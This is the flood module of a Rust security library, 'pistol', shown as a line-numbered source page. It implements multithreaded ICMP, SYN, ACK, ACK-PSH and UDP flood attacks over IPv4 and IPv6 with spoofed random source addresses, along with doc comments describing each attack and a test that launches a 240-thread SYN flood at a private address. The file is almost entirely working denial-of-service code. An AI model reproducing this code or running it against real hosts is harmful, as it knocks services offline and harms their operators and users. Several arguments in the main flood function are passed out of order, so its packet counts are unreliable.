pistol 4.0.18

A Rust Library about Cybersecurity
Documentation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
#[cfg(feature = "flood")]
use chrono::DateTime;
#[cfg(feature = "flood")]
use chrono::Local;
#[cfg(feature = "flood")]
use prettytable::Cell;
#[cfg(feature = "flood")]
use prettytable::Row;
#[cfg(feature = "flood")]
use prettytable::Table;
#[cfg(feature = "flood")]
use prettytable::row;
#[cfg(feature = "flood")]
use std::collections::BTreeMap;
#[cfg(feature = "flood")]
use std::fmt;
#[cfg(feature = "flood")]
use std::net::IpAddr;
#[cfg(feature = "flood")]
use std::net::Ipv4Addr;
#[cfg(feature = "flood")]
use std::net::Ipv6Addr;
#[cfg(feature = "flood")]
use std::sync::mpsc::channel;
#[cfg(feature = "flood")]
use std::thread;
#[cfg(feature = "flood")]
use std::time::Duration;
#[cfg(feature = "flood")]
use std::time::Instant;
#[cfg(feature = "flood")]
use tracing::error;

#[cfg(feature = "flood")]
pub mod icmp;
#[cfg(feature = "flood")]
pub mod icmpv6;
#[cfg(feature = "flood")]
pub mod tcp;
#[cfg(feature = "flood")]
pub mod tcp6;
#[cfg(feature = "flood")]
pub mod udp;
#[cfg(feature = "flood")]
pub mod udp6;

#[cfg(feature = "flood")]
use crate::Target;
#[cfg(feature = "flood")]
use crate::error::PistolError;
#[cfg(feature = "flood")]
use crate::utils::random_ipv4_addr;
#[cfg(feature = "flood")]
use crate::utils::random_ipv6_addr;
#[cfg(feature = "flood")]
use crate::utils::random_port;
#[cfg(feature = "flood")]
use crate::utils::time_sec_to_string;

#[cfg(feature = "flood")]
#[derive(Debug, Clone)]
pub struct FloodReport {
    pub addr: IpAddr,
    pub origin: Option<String>,
    pub send_packet: usize, // count
    pub send_size: usize,   // KB, MB or GB
    pub time_cost: Duration,
}

#[cfg(feature = "flood")]
#[derive(Debug, Clone)]
pub struct PistolFloods {
    pub flood_reports: Vec<FloodReport>,
    pub start_time: DateTime<Local>,
    pub end_time: DateTime<Local>,
}

#[cfg(feature = "flood")]
impl PistolFloods {
    pub fn new() -> PistolFloods {
        PistolFloods {
            flood_reports: Vec::new(),
            start_time: Local::now(),
            end_time: Local::now(),
        }
    }
    pub fn finish(&mut self, flood_reports: Vec<FloodReport>) {
        self.end_time = Local::now();
        self.flood_reports = flood_reports;
    }
}

#[cfg(feature = "flood")]
impl fmt::Display for PistolFloods {
    fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result {
        const BYTES_PER_MB: u64 = 1024;
        const BYTES_PER_GB: u64 = 1024 * 1024;
        let mut table = Table::new();
        table.add_row(Row::new(vec![
            Cell::new("Flood Attack Summary")
                .style_spec("c")
                .with_hspan(3),
        ]));
        table.add_row(row![c -> "id", c -> "addr", c -> "report"]);

        // sorted
        let mut btm_addr: BTreeMap<IpAddr, FloodReport> = BTreeMap::new();
        for report in &self.flood_reports {
            btm_addr.insert(report.addr, report.clone());
        }

        let mut i = 1;
        for (addr, report) in btm_addr {
            let time_cost = report.time_cost;
            let time_cost_str = time_sec_to_string(time_cost);
            let time_cost = time_cost.as_secs_f64();
            let (size_str, traffic_str) = if report.send_size as f64 / BYTES_PER_GB as f64 > 1.0 {
                let v = report.send_size as f64 / BYTES_PER_GB as f64;
                let k = v / time_cost;
                (format!("{:.3}GB", v), format!("{:.3}GB/s", k))
            } else if report.send_size as f64 / BYTES_PER_MB as f64 > 1.0 {
                let v = report.send_size as f64 / BYTES_PER_MB as f64;
                let k = v / time_cost;
                (format!("{:.3}MB", v), format!("{:.3}MB/s", k))
            } else {
                let v = report.send_size;
                let k = v as f64 / time_cost;
                (format!("{}Bytes", v), format!("{:.3}B/s", k))
            };
            let traffic_str = format!(
                "packets sent: {}({}), time cost: {}({})",
                report.send_packet, size_str, time_cost_str, traffic_str
            );

            let addr_str = match report.origin {
                Some(o) => format!("{}({})", addr, o),
                None => format!("{}", report.addr),
            };
            table.add_row(row![c -> i, c -> addr_str, c -> traffic_str]);
            i += 1;
        }
        write!(f, "{}", table.to_string())
    }
}

#[cfg(feature = "flood")]
#[derive(Debug, Clone, Copy, PartialEq)]
pub enum FloodMethods {
    Icmp,
    Syn,
    Ack,
    AckPsh,
    Udp,
}

#[cfg(feature = "flood")]
fn ipv4_flood_thread(
    method: FloodMethods,
    dst_ipv4: Ipv4Addr,
    dst_port: u16,
    num_threads: usize,
    retransmit_count: usize,
    repeat_count: usize,
) -> Result<(usize, usize), PistolError> {
    let dst_port = if method == FloodMethods::Icmp {
        0
    } else {
        dst_port
    };

    let func = match method {
        FloodMethods::Icmp => icmp::send_icmp_flood_packet,
        FloodMethods::Syn => tcp::send_syn_flood_packet,
        FloodMethods::Ack => tcp::send_ack_flood_packet,
        FloodMethods::AckPsh => tcp::send_ack_psh_flood_packet,
        FloodMethods::Udp => udp::send_udp_flood_packet,
    };
    let (tx, rx) = channel();
    let mut recv_size = 0;

    for _ in 0..num_threads {
        recv_size += repeat_count;
        let tx = tx.clone();
        thread::spawn(move || {
            for _ in 0..repeat_count {
                let src_ipv4 = random_ipv4_addr(); // fake src addr
                let src_port = random_port(); // fake src port
                // println!("src {}:{}", src_ipv4, src_port);

                let send_buff_size =
                    match func(dst_ipv4, dst_port, src_ipv4, src_port, retransmit_count) {
                        Ok(s) => s + 14, // Ethernet frame header length.
                        Err(e) => {
                            error!("{}", e);
                            0
                        }
                    };
                let _ = tx.send(send_buff_size);
            }
        });
    }
    let iter = rx.into_iter().take(recv_size);
    let mut total_send_buff_size = 0;
    for send_buff_size in iter {
        total_send_buff_size += send_buff_size;
    }
    Ok((num_threads * retransmit_count, total_send_buff_size))
}

#[cfg(feature = "flood")]
fn ipv6_flood_thread(
    method: FloodMethods,
    dst_ipv6: Ipv6Addr,
    dst_port: u16,
    num_threads: usize,
    retransmit_count: usize,
    repeat_count: usize,
) -> Result<(usize, usize), PistolError> {
    let dst_port = if method == FloodMethods::Icmp {
        0
    } else {
        dst_port
    };

    let func = match method {
        FloodMethods::Icmp => icmpv6::send_icmpv6_flood_packet,
        FloodMethods::Syn => tcp6::send_syn_flood_packet,
        FloodMethods::Ack => tcp6::send_ack_flood_packet,
        FloodMethods::AckPsh => tcp6::send_ack_psh_flood_packet,
        FloodMethods::Udp => udp6::send_udp_flood_packet,
    };
    let (tx, rx) = channel();
    let mut recv_size = 0;

    for _ in 0..num_threads {
        recv_size += repeat_count;
        let tx = tx.clone();
        thread::spawn(move || {
            for _ in 0..repeat_count {
                let src_ipv6 = random_ipv6_addr(); // fake src addr
                let src_port = random_port(); // fake src port

                let send_buff_size =
                    match func(dst_ipv6, dst_port, src_ipv6, src_port, retransmit_count) {
                        Ok(s) => s + 14, // Ethernet frame header length.
                        Err(e) => {
                            error!("{}", e);
                            0
                        }
                    };
                let _ = tx.send(send_buff_size);
            }
        });
    }
    let iter = rx.into_iter().take(recv_size);
    let mut total_send_buff_size = 0;
    for send_buff_size in iter {
        total_send_buff_size += send_buff_size;
    }
    Ok((num_threads * retransmit_count, total_send_buff_size))
}

#[cfg(feature = "flood")]
fn flood(
    targets: &[Target],
    num_threads: usize,
    method: FloodMethods,
    retransmit_count: usize,
    repeat_count: usize,
) -> Result<PistolFloods, PistolError> {
    let mut pistol_floods = PistolFloods::new();
    let (tx, rx) = channel();

    let mut recv_size = 0;
    for target in targets {
        let dst_addr = target.addr;
        match dst_addr {
            IpAddr::V4(dst_ipv4) => {
                for dst_port in &target.ports {
                    let origin = target.origin.clone();
                    let tx = tx.clone();
                    let dst_port = dst_port.clone();
                    recv_size += 1;
                    thread::spawn(move || {
                        let start_time = Instant::now();
                        let ret = ipv4_flood_thread(
                            method,
                            dst_ipv4,
                            dst_port,
                            retransmit_count,
                            repeat_count,
                            num_threads,
                        );
                        let _ = tx.send((dst_addr, origin, ret, start_time));
                    });
                }
            }
            IpAddr::V6(dst_ipv6) => {
                for dst_port in &target.ports {
                    let origin = target.origin.clone();
                    let tx = tx.clone();
                    let dst_port = dst_port.clone();
                    recv_size += 1;
                    thread::spawn(move || {
                        let start_time = Instant::now();
                        let ret = ipv6_flood_thread(
                            method,
                            dst_ipv6,
                            dst_port,
                            retransmit_count,
                            repeat_count,
                            num_threads,
                        );
                        let _ = tx.send((dst_addr, origin, ret, start_time));
                    });
                }
            }
        }
    }

    let iter = rx.into_iter().take(recv_size);
    let mut flood_reports = Vec::new();
    for (addr, origin, ret, start_time) in iter {
        let time_cost = start_time.elapsed();
        match ret {
            Ok((send_packet, send_size)) => {
                let flood_report = FloodReport {
                    addr,
                    origin,
                    send_packet,
                    send_size,
                    time_cost,
                };
                flood_reports.push(flood_report);
            }
            Err(e) => return Err(e),
        }
    }
    pistol_floods.finish(flood_reports);
    Ok(pistol_floods)
}

#[cfg(feature = "flood")]
pub fn flood_raw(
    method: FloodMethods,
    dst_addr: IpAddr,
    dst_port: u16,
    retransmit_count: usize,
) -> Result<usize, PistolError> {
    let func = match method {
        FloodMethods::Icmp => icmp::send_icmp_flood_packet,
        FloodMethods::Syn => tcp::send_syn_flood_packet,
        FloodMethods::Ack => tcp::send_ack_flood_packet,
        FloodMethods::AckPsh => tcp::send_ack_psh_flood_packet,
        FloodMethods::Udp => udp::send_udp_flood_packet,
    };
    let func6 = match method {
        FloodMethods::Icmp => icmpv6::send_icmpv6_flood_packet,
        FloodMethods::Syn => tcp6::send_syn_flood_packet,
        FloodMethods::Ack => tcp6::send_ack_flood_packet,
        FloodMethods::AckPsh => tcp6::send_ack_psh_flood_packet,
        FloodMethods::Udp => udp6::send_udp_flood_packet,
    };

    match dst_addr {
        IpAddr::V4(dst_ipv4) => {
            let src_port = random_port();
            let src_ipv4 = random_ipv4_addr();

            let send_buff_size =
                match func(dst_ipv4, dst_port, src_ipv4, src_port, retransmit_count) {
                    Ok(s) => s + 14, // Ethernet frame header length.
                    Err(_) => 0,
                };
            Ok(send_buff_size)
        }
        IpAddr::V6(dst_ipv6) => {
            let src_port = random_port();
            let src_ipv6 = random_ipv6_addr();

            let send_buff_size =
                match func6(dst_ipv6, dst_port, src_ipv6, src_port, retransmit_count) {
                    Ok(s) => s + 14, // Ethernet frame header length.
                    Err(_) => 0,
                };
            Ok(send_buff_size)
        }
    }
}

/// An Internet Control Message Protocol (ICMP) flood DDoS attack, also known as a Ping flood attack,
/// is a common Denial-of-Service (DoS) attack in
/// which an attacker attempts to overwhelm a targeted device with ICMP echo-requests (pings).
/// Normally, ICMP echo-request and echo-reply messages are used to ping a network device
/// in order to diagnose the health and connectivity of the device and the connection
/// between the sender and the device.
/// By flooding the target with request packets,
/// the network is forced to respond with an equal number of reply packets.
/// This causes the target to become inaccessible to normal traffic.
/// Total number of packets sent = retransmit_count x num_threads.
#[cfg(feature = "flood")]
pub fn icmp_flood(
    targets: &[Target],
    num_threads: usize,
    retransmit_count: usize,
    repeat_count: usize,
) -> Result<PistolFloods, PistolError> {
    flood(
        targets,
        num_threads,
        FloodMethods::Icmp,
        retransmit_count,
        repeat_count,
    )
}

#[cfg(feature = "flood")]
pub fn icmp_flood_raw(dst_addr: IpAddr, retransmit_count: usize) -> Result<usize, PistolError> {
    let dst_port = 0;
    flood_raw(FloodMethods::Icmp, dst_addr, dst_port, retransmit_count)
}

/// In a TCP SYN Flood attack, the malicious entity sends a barrage of
/// SYN requests to a target server but intentionally avoids sending the final ACK.
/// This leaves the server waiting for a response that never comes,
/// consuming resources for each of these half-open connections.
#[cfg(feature = "flood")]
pub fn tcp_syn_flood(
    targets: &[Target],
    num_threads: usize,
    retransmit_count: usize,
    repeat_count: usize,
) -> Result<PistolFloods, PistolError> {
    flood(
        targets,
        num_threads,
        FloodMethods::Syn,
        retransmit_count,
        repeat_count,
    )
}

#[cfg(feature = "flood")]
pub fn tcp_syn_flood_raw(
    dst_addr: IpAddr,
    dst_port: u16,
    retransmit_count: usize,
) -> Result<usize, PistolError> {
    flood_raw(FloodMethods::Syn, dst_addr, dst_port, retransmit_count)
}

/// TCP ACK flood, or 'ACK Flood' for short, is a network DDoS attack comprising TCP ACK packets.
/// The packets will not contain a payload but may have the PSH flag enabled.
/// In the normal TCP, the ACK packets indicate to the other party that the data have been received successfully.
/// ACK packets are very common and can constitute 50% of the entire TCP packets.
/// The attack will typically affect stateful devices that must process each packet and that can be overwhelmed.
/// ACK flood is tricky to mitigate for several reasons. It can be spoofed;
/// the attacker can easily generate a high rate of attacking traffic,
/// and it is very difficult to distinguish between a Legitimate ACK and an attacking ACK, as they look the same.
#[cfg(feature = "flood")]
pub fn tcp_ack_flood(
    targets: &[Target],
    num_threads: usize,
    retransmit_count: usize,
    repeat_count: usize,
) -> Result<PistolFloods, PistolError> {
    flood(
        targets,
        num_threads,
        FloodMethods::Ack,
        retransmit_count,
        repeat_count,
    )
}

#[cfg(feature = "flood")]
pub fn tcp_ack_flood_raw(
    dst_addr: IpAddr,
    dst_port: u16,
    retransmit_count: usize,
) -> Result<usize, PistolError> {
    flood_raw(FloodMethods::Ack, dst_addr, dst_port, retransmit_count)
}

/// TCP ACK flood with PSH flag set.
#[cfg(feature = "flood")]
pub fn tcp_ack_psh_flood(
    targets: &[Target],
    num_threads: usize,
    retransmit_count: usize,
    repeat_count: usize,
) -> Result<PistolFloods, PistolError> {
    flood(
        targets,
        num_threads,
        FloodMethods::AckPsh,
        retransmit_count,
        repeat_count,
    )
}

#[cfg(feature = "flood")]
pub fn tcp_ack_psh_flood_raw(
    dst_addr: IpAddr,
    dst_port: u16,
    retransmit_count: usize,
) -> Result<usize, PistolError> {
    flood_raw(FloodMethods::AckPsh, dst_addr, dst_port, retransmit_count)
}

/// In a UDP Flood attack, the attacker sends a massive number of UDP packets to random ports on the target host.
/// This barrage of packets forces the host to:
/// Check for applications listening at each port.
/// Realize that no application is listening at many of these ports.
/// Respond with an Internet Control Message Protocol (ICMP) Destination Unreachable packet.
#[cfg(feature = "flood")]
pub fn udp_flood(
    targets: &[Target],
    num_threads: usize,
    retransmit_count: usize,
    repeat_count: usize,
) -> Result<PistolFloods, PistolError> {
    flood(
        targets,
        num_threads,
        FloodMethods::Udp,
        retransmit_count,
        repeat_count,
    )
}

#[cfg(feature = "flood")]
pub fn udp_flood_raw(
    dst_addr: IpAddr,
    dst_port: u16,
    retransmit_count: usize,
) -> Result<usize, PistolError> {
    flood_raw(FloodMethods::Udp, dst_addr, dst_port, retransmit_count)
}

#[cfg(feature = "flood")]
#[cfg(test)]
mod tests {
    use super::*;
    use crate::PistolLogger;
    use crate::PistolRunner;
    use crate::Target;
    #[test]
    fn test_flood() {
        let _pr = PistolRunner::init(PistolLogger::None, None, None).unwrap();

        let dst_addr = Ipv4Addr::new(192, 168, 5, 5);
        let ports = Some(vec![22]);
        let target1 = Target::new(dst_addr.into(), ports);
        let num_threads = 240; // It can be simply understood as the number of attack threads.
        let retransmit_count = 480; // The number of times to repeat sending the same attack packet.
        let repeat_count = 4; // The number of times each thread repeats the attack.
        let ret = tcp_syn_flood(&[target1], num_threads, retransmit_count, repeat_count).unwrap();
        println!("{}", ret);
    }
}